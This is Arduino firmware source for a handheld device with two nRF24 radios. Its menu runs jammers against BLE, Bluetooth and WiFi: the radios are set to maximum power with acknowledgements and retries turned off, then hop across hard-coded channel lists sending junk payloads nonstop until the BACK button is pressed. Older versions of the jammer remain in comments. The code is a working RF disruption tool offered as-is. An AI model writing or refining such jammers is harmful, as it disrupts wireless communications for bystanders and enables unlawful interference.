| 1 | #include <Arduino.h> |
| 2 | #include <RF24.h> |
| 3 | #include "buttons.h" |
| 4 | #include "nrf24.h" |
| 5 | #include "display.h" |
| 6 | #define JAM_DURATION 500 |
| 7 | |
| 8 | extern SPIClass *RADIO_SPI; |
| 9 | extern RF24 radio1; |
| 10 | extern RF24 radio2; |
| 11 | |
| 12 | const byte bleChannels[] = {2, 26, 80}; |
| 13 | |
| 14 | const byte bluetoothChannels[] = { |
| 15 | 32, 34, 46, 48, 50, 52, |
| 16 | 0, 1, 2, 4, 6, 8, |
| 17 | 22, 24, 26, 28, 30, |
| 18 | 74, 76, 78, 80 |
| 19 | }; |
| 20 | |
| 21 | const byte wifiChannels[] = { |
| 22 | 12, 17, 22, 27, 32, |
| 23 | 37, 42, 47, 52, 57, |
| 24 | 62, 67, 72 |
| 25 | }; |
| 26 | |
| 27 | void initNRF(RF24 &radio) |
| 28 | { |
| 29 | if (!radio.begin(RADIO_SPI)) { |
| 30 | Serial.println("NRF not found"); |
| 31 | return; |
| 32 | } |
| 33 | |
| 34 | radio.setAutoAck(false); |
| 35 | radio.stopListening(); |
| 36 | radio.setRetries(0, 0); |
| 37 | radio.setPALevel(RF24_PA_MAX); |
| 38 | radio.setDataRate(RF24_2MBPS); |
| 39 | radio.openWritingPipe(0xE7E7E7E7E7LL); |
| 40 | Serial.println("NRF Initialized"); |
| 41 | |
| 42 | } |
| 43 | |
| 44 | |
| 45 | |
| 46 | //void startBleJammer() { |
| 47 | // initNRF(radio1); |
| 48 | // initNRF(radio2); |
| 49 | // |
| 50 | // Serial.println("NRF JAMMER STARTED"); |
| 51 | // |
| 52 | // const char payload[] = "xxxxxxxxxxxxxxxx"; |
| 53 | // |
| 54 | // u8g2.clearBuffer(); |
| 55 | // u8g2.drawStr(0, 10, "Jamming:"); |
| 56 | // u8g2.setCursor(60, 10); |
| 57 | // u8g2.print("Bluetooth"); |
| 58 | // u8g2.sendBuffer(); |
| 59 | // |
| 60 | // while(true) { |
| 61 | // |
| 62 | // // Channels (you can change this set) |
| 63 | // const byte channels[] = {2, 26, 80}; |
| 64 | // |
| 65 | // |
| 66 | // for (int i = 0; i < sizeof(channels); i++) { |
| 67 | // radio1.setChannel(channels[i]); |
| 68 | // radio1.write(&payload, sizeof(payload)); |
| 69 | // //radio2.setChannel(channels[i]); |
| 70 | // //radio2.write(&payload, sizeof(payload)); |
| 71 | // } |
| 72 | // |
| 73 | // if (btnBack()) |
| 74 | // { |
| 75 | // Serial.println("Jammer stopped"); |
| 76 | // return; |
| 77 | // } |
| 78 | // } |
| 79 | // |
| 80 | //} |
| 81 | // |
| 82 | //void startBluetoothJammer() |
| 83 | //{ |
| 84 | // initNRF(radio1); |
| 85 | // initNRF(radio2); |
| 86 | // |
| 87 | // Serial.println("NRF JAMMER STARTED"); |
| 88 | // |
| 89 | // const char payload[] = "xxxxxxxxxxxxxxxx"; |
| 90 | // |
| 91 | // u8g2.clearBuffer(); |
| 92 | // u8g2.drawStr(0, 10, "Jamming:"); |
| 93 | // u8g2.setCursor(60, 10); |
| 94 | // u8g2.print("Bluetooth"); |
| 95 | // u8g2.sendBuffer(); |
| 96 | // |
| 97 | // while(true) { |
| 98 | // |
| 99 | // // Channels (you can change this set) |
| 100 | // const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; |
| 101 | // |
| 102 | // |
| 103 | // for (int i = 0; i < sizeof(channels); i++) { |
| 104 | // radio1.setChannel(channels[i]); |
| 105 | // radio1.write(&payload, sizeof(payload)); |
| 106 | // //radio2.setChannel(channels[i]); |
| 107 | // //radio2.write(&payload, sizeof(payload)); |
| 108 | // } |
| 109 | // |
| 110 | // if (btnBack()) |
| 111 | // { |
| 112 | // Serial.println("Jammer stopped"); |
| 113 | // return; |
| 114 | // } |
| 115 | // } |
| 116 | //} |
| 117 | |
| 118 | void startJammer(const char* name, const byte* channels, size_t channelCount) |
| 119 | { |
| 120 | initNRF(radio1); |
| 121 | initNRF(radio2); |
| 122 | |
| 123 | Serial.println("NRF JAMMER STARTED"); |
| 124 | |
| 125 | const char payload[] = "xxxxxxxxxxxxxxxx"; |
| 126 | |
| 127 | u8g2.clearBuffer(); |
| 128 | u8g2.setFont(u8g2_font_6x10_tr); |
| 129 | u8g2.drawStr(0, 15, "NRF24 Jammer"); |
| 130 | u8g2.drawStr(0, 35, name); |
| 131 | u8g2.drawStr(0, 55, "BACK = Exit"); |
| 132 | u8g2.sendBuffer(); |
| 133 | |
| 134 | while (true) |
| 135 | { |
| 136 | for (size_t i = 0; i < channelCount; i++) |
| 137 | { |
| 138 | //radio1.setChannel(channels[i]); |
| 139 | //radio1.write(&payload, sizeof(payload)); |
| 140 | |
| 141 | // Optional second NRF |
| 142 | // radio2.setChannel(channels[i]); |
| 143 | // radio2.write(&payload, sizeof(payload)); |
| 144 | |
| 145 | |
| 146 | radio1.setChannel(channels[i]); |
| 147 | radio2.setChannel(channels[(i + 1) % channelCount]); |
| 148 | |
| 149 | radio1.writeFast(&payload, sizeof(payload)); |
| 150 | radio2.writeFast(&payload, sizeof(payload)); |
| 151 | } |
| 152 | |
| 153 | if (btnBack()) |
| 154 | { |
| 155 | Serial.println("Jammer stopped"); |
| 156 | radio1.powerDown(); |
| 157 | radio2.powerDown(); |
| 158 | return; |
| 159 | } |
| 160 | } |
| 161 | |
| 162 | //while (true) { |
| 163 | //for (size_t i = 0; i < channelCount; i++) |
| 164 | //{ |
| 165 | // radio1.setChannel(channels[i]); |
| 166 | // radio2.setChannel(channels[(i + 1) % channelCount]); |
| 167 | |
| 168 | // radio1.writeFast(&payload, sizeof(payload)); |
| 169 | // radio2.writeFast(&payload, sizeof(payload)); |
| 170 | |
| 171 | // radio1.txStandBy(1); |
| 172 | // radio2.txStandBy(1); |
| 173 | |
| 174 | // delayMicroseconds(200); |
| 175 | //} |
| 176 | |
| 177 | |
| 178 | //if (btnBack()) |
| 179 | //{ |
| 180 | // Serial.println("Jammer stopped"); |
| 181 | |
| 182 | // radio1.powerDown(); |
| 183 | // radio2.powerDown(); |
| 184 | |
| 185 | // return; |
| 186 | //} |
| 187 | //} |
| 188 | } |
| 189 | |
| 190 | void NRFToolsMenu(int index) { |
| 191 | switch (index) { |
| 192 | case 0: |
| 193 | // startBleJammer(); |
| 194 | // BLE |
| 195 | startJammer( |
| 196 | "BLE", |
| 197 | bleChannels, |
| 198 | sizeof(bleChannels) / sizeof(bleChannels[0]) |
| 199 | ); |
| 200 | |
| 201 | break; |
| 202 | case 1: |
| 203 | // startBluetoothJammer(); |
| 204 | // Bluetooth |
| 205 | startJammer( |
| 206 | "Bluetooth", |
| 207 | bluetoothChannels, |
| 208 | sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]) |
| 209 | ); |
| 210 | break; |
| 211 | |
| 212 | case 2: |
| 213 | startJammer( |
| 214 | "WiFi", |
| 215 | wifiChannels, |
| 216 | sizeof(wifiChannels) / sizeof(wifiChannels[0]) |
| 217 | ); |
| 218 | break; |
| 219 | |
| 220 | } |
| 221 | } |